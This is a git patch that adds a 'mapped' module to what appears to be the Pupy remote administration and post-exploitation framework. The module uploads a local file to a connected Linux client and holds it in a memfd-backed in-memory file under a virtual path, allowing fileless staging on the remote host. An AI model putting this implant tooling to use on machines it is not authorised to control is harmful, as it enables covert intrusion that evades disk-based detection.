From 9bb750c836b39c61644665cfcea825a87d5b9cfb Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 31 Dec 2019 13:22:53 +0200 Subject: [PATCH] linux/mapped: Add module to work with _pupy.pathmap --- pupy/modules/mapped.py | 38 ++++++++++++++++++++++++++++ pupy/packages/linux/all/mapped.py | 42 +++++++++++++++++++++++++++++++ 2 files changed, 80 insertions(+) create mode 100644 pupy/modules/mapped.py create mode 100644 pupy/packages/linux/all/mapped.py diff --git a/pupy/modules/mapped.py b/pupy/modules/mapped.py new file mode 100644 index 00000000..76663f39 --- /dev/null +++ b/pupy/modules/mapped.py @@ -0,0 +1,38 @@ +# -*- coding: utf-8 -*- + +from pupylib.PupyModule import config, PupyModule, PupyArgumentParser +from pupylib.PupyCompleter import path_completer + +__class_name__ = 'Mapped' + +@config(compat='linux') +class Mapped(PupyModule): + ''' Create virtual mapped path with memfd backed file (if supported) ''' + + dependencies = ['mapped'] + + @classmethod + def init_argparse(cls): + cls.arg_parser = PupyArgumentParser(prog='mapped', description=cls.__doc__) + + actions = cls.arg_parser.add_mutually_exclusive_group() + actions.add_argument( + '-C', '--create', help='Path to local file to upload', + completer=path_completer + ) + actions.add_argument( + '-R', '--remove', action='store_true', help='Remove virtual path' + ) + + cls.arg_parser.add_argument('virtual', help='Virtual path') + + + def run(self, args): + if args.create: + create = self.client.remote('mapped', 'create_mapped_file') + + with open(args.create, 'rb') as idata: + create(args.virtual, idata.read()) + else: + remove = self.client.remote('mapped', 'close_mapped_file') + remove(args.virtual) diff --git a/pupy/packages/linux/all/mapped.py b/pupy/packages/linux/all/mapped.py new file mode 100644 index 00000000..77adc71a --- /dev/null +++ b/pupy/packages/linux/all/mapped.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- + +try: + from _pupy import pathmap + from pupy._linux_memfd import ( + memfd_is_supported, memfd_create + ) + +except ImportError: + raise ValueError('PathMap not supproted') + + +if not memfd_is_supported(): + raise ValueError('Memfd is not supported') + + +MAPPED_FDS = {} + + +def create_mapped_file(path, data): + if path in MAPPED_FDS: + raise ValueError('Mapped file {} exists'.format(path)) + + fd, filepath = memfd_create() + + pathmap[path] = filepath + MAPPED_FDS[path] = fd + + r = fd.write(data) + fd.flush() + + print "FLUSHED: ", r, len(data) + + +def close_mapped_file(path): + if path not in MAPPED_FDS: + raise ValueError('File {} is not mapped'.format(path)) + + MAPPED_FDS[path].close() + + del MAPPED_FDS[path] + del pathmap[path]